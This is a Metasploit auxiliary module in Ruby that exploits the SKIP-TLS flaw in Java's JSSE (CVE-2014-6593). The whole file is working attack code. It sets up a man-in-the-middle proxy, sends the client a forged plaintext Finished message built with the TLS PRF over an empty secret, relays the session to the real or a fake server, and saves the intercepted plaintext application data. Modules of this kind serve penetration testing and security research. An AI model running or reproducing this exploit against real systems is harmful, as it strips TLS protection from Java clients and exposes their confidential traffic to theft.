## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'openssl' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report def initialize super( 'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy', 'Description' => %q{ This module exploits an incomplete internal state distinction in Java Secure Socket Extension (JSSE) by impersonating the server and finishing the handshake before the peers have authenticated themselves and instantiated negotiated security parameters, resulting in a plaintext SSL/TLS session with the client. This plaintext SSL/TLS session is then proxied to the server using a second SSL/TLS session from the proxy to the server (or an alternate fake server) allowing the session to continue normally and plaintext application data transmitted between the peers to be saved. This module requires an active man-in-the-middle attack. }, 'Author' => [ 'Ramon de C Valle' ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service', 'References' => [ ['CVE', '2014-6593'], ['CWE', '372'], ['URL', 'https://www.smacktls.com/#skip'], ['URL', 'https://www.smacktls.com/smack.pdf'], ['URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html'], ['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21695474'] ], 'DisclosureDate' => 'Jan 20 2015' ) register_options( [ OptString.new('FAKEHOST', [ false, 'The fake server address', nil]), OptString.new('FAKEPORT', [ false, 'The fake server port', 443]), OptString.new('HOST', [ true, 'The server address', nil]), OptString.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), OptString.new('SRVPORT', [ true, 'The proxy port', 443]) ], self.class) end def cleanup super return unless @proxy begin @proxy.deref if @proxy.kind_of?(Rex::Service) if @proxy.kind_of?(Rex::Socket) @proxy.close @proxy.stop end @proxy = nil rescue ::Exception end end def prf(secret, label, seed) if secret.empty? s1 = s2 = '' else length = ((secret.length * 1.0) / 2).ceil s1 = secret[0..(length - 1)] s2 = secret[(length - 1)..(secret.length - 1)] end hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed) hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed) hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed) hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha + label + seed) result = '' [hmac_md5.length, hmac_sha.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha.getbyte(i) || 0)].pack('C') } result end def prf_sha256(secret, label, seed) hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed) end def run fake_host = datastore['FAKEHOST'] || datastore['HOST'] fake_port = datastore['FAKEPORT'] || datastore['PORT'] host = datastore['HOST'] local_host = datastore['SRVHOST'] local_port = datastore['SRVPORT'] port = datastore['PORT'] @proxy = Rex::Socket::TcpServer.create( 'LocalHost' => local_host, 'LocalPort' => local_port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) print_status('Listening on %s:%d' % [local_host, local_port]) thread_num = 0 loop do framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client| add_socket(client) finished_sent = false handshake_messages = '' application_data = '' print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport]) fake_server = Rex::Socket::Tcp.create( 'PeerHost' => fake_host, 'PeerPort' => fake_port, 'SSL' => true, 'SSLVerifyMode' => 'NONE', 'Context' => { 'Msf' => framework, 'MsfExploit' => self }) add_socket(fake_server) print_status('Connected to %s:%d' % [fake_host, fake_port]) server = Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }) add_socket(server) print_status('Connected to %s:%d' % [host, port]) version = nil begin loop do readable, _, _ = Rex::ThreadSafe.select([client, server]) readable.each do |r| case r when fake_server # The fake_server (i.e., server) is an SSL socket; Read # application data directly. header = '' fragment = r.get_once(4096) else header = r.get_once(5) raise EOFError if header.nil? fragment_length = header[3, 2].unpack('n')[0] fragment = '' while fragment_length > 0 partial_fragment = r.get_once(fragment_length) fragment << partial_fragment fragment_length = fragment_length - partial_fragment.length end end print_status('%d bytes received' % [header.length + fragment.length]) # Drop the server hello done message and send the finished # message in plaintext. if fragment =~ /^\x0e\x00\x00\x00/ if header[2, 1] == "\x03" verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages)) verify_data = verify_data[0, 12] else verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages)) verify_data = verify_data[0, 12] end finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}" record = header[0, 3] + [finished.length].pack('n') + finished count = client.put(record) print_status('%d bytes sent' % [count]) finished_sent = true # Change to the SSL socket connected to the same server or # to an alternate fake server. server.close server = fake_server # Save version used in the handshake version = header[2, 1] next else # Save handshake messages handshake_messages << fragment end unless finished_sent # Save application data application_data << fragment if finished_sent case r when client if finished_sent # The server (i.e., fake_server) is an SSL socket count = server.put(fragment) else # The server isn't an SSL socket count = server.put(header + fragment) end print_status('%d bytes sent' % [count]) when fake_server # The client isn't an SSL socket; Add the record layer header # with the same version used in the handshake. header = "\x17\x03#{version}" + [fragment.length].pack('n') record = header + fragment count = client.put(record) print_status('%d bytes sent' % [count]) when server record = header + fragment count = client.put(record) print_status('%d bytes sent' % [count]) end end end rescue EOFError, Errno::ECONNRESET path = store_loot( 'tls.application_data', 'application/octet-stream', client.peerhost, application_data, 'application_data', 'TLS session application data' ) print_good("SSL/TLS session application data successfully stored in #{path}") client.close fake_server.close server.close next end client.close fake_server.close server.close end end end end